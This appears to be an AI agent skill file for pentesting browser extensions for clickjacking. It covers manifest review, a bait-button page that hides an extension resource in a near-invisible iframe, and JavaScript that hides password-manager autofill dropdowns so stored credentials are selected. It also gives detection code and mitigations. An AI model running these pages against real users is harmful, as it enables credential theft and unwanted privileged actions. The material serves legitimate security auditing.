Hacktricks-skills browser-extension-clickjacking

Analyze browser extensions for clickjacking vulnerabilities. Use this skill whenever you need to audit browser extensions (Chrome, Firefox, Edge) for security issues, review manifest.json files, test web_accessible_resources configurations, or investigate extension-based attacks. Trigger this skill for any pentesting task involving browser extensions, Chrome extensions, Firefox add-ons, or when analyzing extension security, even if the user doesn't explicitly mention 'clickjacking' or 'vulnerability'.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking/SKILL.MD
source content

Browser Extension Clickjacking Analysis

A skill for identifying and exploiting clickjacking vulnerabilities in browser extensions during security assessments.

When to Use This Skill

Use this skill when:

  • Auditing browser extensions for security vulnerabilities
  • Reviewing
    manifest.json
    files for misconfigurations
  • Testing
    web_accessible_resources
    exposure
  • Investigating extension-based attack vectors
  • Analyzing password manager or autofill extension security
  • Performing browser extension penetration testing

Core Concepts

What is Extension Clickjacking?

Extension clickjacking abuses misconfigured

web_accessible_resources
to embed privileged extension UI in iframes on attacker-controlled pages. Users are tricked into clicking hidden extension controls, performing unintended actions with the extension's elevated privileges.

The Vulnerability Chain

  1. Extension declares resources in
    web_accessible_resources
  2. Resources become accessible via
    chrome-extension://[ID]/[PATH]
  3. Attacker embeds these resources in iframes on malicious pages
  4. User clicks on overlayed UI, triggering hidden extension actions
  5. Privileged operations execute without user awareness

Attack Methodologies

Method 1: Classic web_accessible_resources Clickjacking

What to look for:

  • HTML files in
    web_accessible_resources
    (especially
    *.html
    ,
    popup.html
    ,
    skin/*
    )
  • JavaScript files with UI manipulation capabilities
  • Resources that can change extension state

Detection steps:

  1. Extract and review

    manifest.json
    :

    unzip -p extension.crx manifest.json | jq .
    # or for unpacked extensions:
    cat extension/manifest.json | jq .
    
  2. Identify risky

    web_accessible_resources
    entries:

    • "skin/*"
      - often contains HTML UI
    • "icons/*"
      - usually safe but verify
    • "*.html"
      - high risk if interactive
    • "popup.html"
      - critical risk
    • "inpage.js"
      - medium risk
  3. Test accessibility:

    <iframe src="chrome-extension://[EXTENSION_ID]/[RESOURCE_PATH]" style="opacity:0.01; position:absolute;"></iframe>
    
  4. Attempt to trigger actions by overlaying clickable elements

Method 2: DOM-based Extension Clickjacking

Targets password manager autofill UIs injected directly into page DOM.

Attack flow:

  1. Inject invisible but focusable form fields
  2. Focus input to trigger extension's autofill dropdown
  3. Hide/occlude extension UI while keeping it clickable
  4. Align believable control under hidden dropdown
  5. Coerce click to select stored credential
  6. Exfiltrate filled values

Detection techniques:

// Check for extension-injected elements
const extensionElements = Array.from(document.querySelectorAll('*'))
  .filter(el => {
    const tag = el.tagName.toLowerCase();
    return tag.includes('pass') || tag.includes('auth') || tag.includes('vault');
  });

// Check for shadow DOM roots
const shadowRoots = Array.from(document.querySelectorAll('*'))
  .filter(el => el.shadowRoot);

// Monitor for opacity/style tampering
const observer = new MutationObserver((mutations) => {
  mutations.forEach(mutation => {
    if (mutation.type === 'attributes' && 
        (mutation.attributeName === 'style' || mutation.attributeName === 'class')) {
      console.log('Style change detected:', mutation.target);
    }
  });
});

Practical Exploitation

Step 1: Enumerate Extension Resources

# Extract extension from CRX
python3 -c "
import zipfile
import json
with zipfile.ZipFile('extension.crx', 'r') as crx:
    manifest = json.loads(crx.read('manifest.json'))
    print('Extension ID:', manifest.get('name'))
    print('Version:', manifest.get('version'))
    print('Permissions:', manifest.get('permissions', []))
    print('Web Accessible Resources:', manifest.get('web_accessible_resources', []))
"

Step 2: Identify Extension ID

// In browser console
chrome.management.getAll((extensions) => {
  extensions.forEach(ext => {
    console.log(`${ext.name}: ${ext.id}`);
  });
});

Step 3: Build Clickjacking Test Page

<!DOCTYPE html>
<html>
<head>
  <style>
    .overlay {
      position: absolute;
      top: 100px;
      left: 100px;
      z-index: 9999;
    }
    .hidden-iframe {
      position: absolute;
      top: 100px;
      left: 100px;
      opacity: 0.01;
      pointer-events: none;
    }
    .bait-button {
      position: absolute;
      top: 168px;
      left: 100px;
      padding: 10px 20px;
      background: #007bff;
      color: white;
      border: none;
      cursor: pointer;
    }
  </style>
</head>
<body>
  <h1>Click the button below</h1>
  <div class="overlay">
    <button class="bait-button">Click Me</button>
  </div>
  <iframe class="hidden-iframe" 
          src="chrome-extension://[EXTENSION_ID]/[RESOURCE_PATH]"
          width="430" height="300"></iframe>
</body>
</html>

Step 4: Test DOM-based Autofill Clickjacking

// Create hidden form to trigger autofill
function createHiddenForm() {
  const form = document.createElement('form');
  form.id = 'hidden-form';
  form.style.cssText = 'opacity:0.001; position:absolute; top:-1000px;';
  
  const input = document.createElement('input');
  input.type = 'text';
  input.id = 'username';
  input.name = 'username';
  input.autocomplete = 'username';
  
  form.appendChild(input);
  document.body.appendChild(form);
  
  // Focus to trigger dropdown
  setTimeout(() => input.focus(), 500);
  
  // Monitor for autofill
  input.addEventListener('input', (e) => {
    console.log('Autofill detected:', e.target.value);
  });
}

// Hide extension UI while keeping clickable
function hideExtensionUI() {
  // Try generic selector
  const root = document.querySelector('protonpass-root, bitwarden-root, lastpass-root');
  if (root) {
    root.style.opacity = '0';
    root.style.pointerEvents = 'auto';
  }
  
  // Try shadow DOM
  Array.from(document.querySelectorAll('*'))
    .forEach(el => {
      if (el.shadowRoot) {
        const iframe = el.shadowRoot.querySelector('iframe');
        if (iframe) {
          iframe.style.cssText += 'opacity:0 !important;';
        }
      }
    });
}

Common Vulnerable Patterns

High-Risk web_accessible_resources

PatternRiskExample Impact
"skin/*"
CriticalPrivacyBadger disable button
"*.html"
CriticalAny HTML UI exposure
"popup.html"
CriticalExtension popup actions
"inpage.js"
HighDOM manipulation
"phishing.html"
CriticalWhitelist bypass
"icons/*"
LowUsually safe
"*.css"
LowUsually safe

Known Vulnerable Extensions (Historical)

  • PrivacyBadger:
    skin/*
    exposed popup.html
  • Metamask:
    inpage.js
    ,
    phishing.html
    exposed
  • Steam Inventory Helper: XSS + Clickjacking chain

Mitigation Recommendations

For Extension Developers

  1. Minimize web_accessible_resources

    // Bad
    "web_accessible_resources": ["*/*"]
    
    // Good
    "web_accessible_resources": [
      {
        "resources": ["icons/*.png"],
        "matches": ["<all_urls>"]
      }
    ]
    
  2. Use frame-ancestors CSP

    "web_accessible_resources": [
      {
        "resources": ["popup.html"],
        "matches": ["<all_urls>"],
        "use_dynamic_url": true
      }
    ]
    

    Serve with:

    Content-Security-Policy: frame-ancestors 'none'

  3. Render in Top Layer

    • Use Popover API for autofill UI
    • Ensure UI sits above page stacking context
  4. Detect Hostile Overlays

    function detectOcclusion(element) {
      const rect = element.getBoundingClientRect();
      const testElement = document.createElement('div');
      testElement.style.cssText = 'position:absolute; pointer-events:none;';
      testElement.style.top = rect.top + 'px';
      testElement.style.left = rect.left + 'px';
      document.body.appendChild(testElement);
      
      const elements = document.elementsFromPoint(rect.left + 10, rect.top + 10);
      document.body.removeChild(testElement);
      
      return !elements.includes(element);
    }
    
  5. Monitor Style Tampering

    const observer = new MutationObserver((mutations) => {
      mutations.forEach(m => {
        if (m.type === 'attributes' && m.attributeName === 'style') {
          console.warn('Style tampering detected');
          // Close UI or alert user
        }
      });
    });
    observer.observe(document.documentElement, { attributes: true });
    

For Security Auditors

  1. Always review
    manifest.json
    for
    web_accessible_resources
  2. Test each exposed resource for iframe embedding
  3. Check for HTML/JS resources that can change state
  4. Test password manager extensions for DOM-based clickjacking
  5. Verify CSP headers on exposed resources
  6. Check for proper
    X-Frame-Options
    headers

Testing Checklist

  • Extract and review
    manifest.json
  • Identify all
    web_accessible_resources
    entries
  • Test each resource for iframe accessibility
  • Check for HTML files in exposed resources
  • Test for state-changing functionality
  • Verify CSP and X-Frame-Options headers
  • Test password manager autofill for DOM clickjacking
  • Check for shadow DOM exposure
  • Monitor for style tampering resistance
  • Document findings with PoC code

References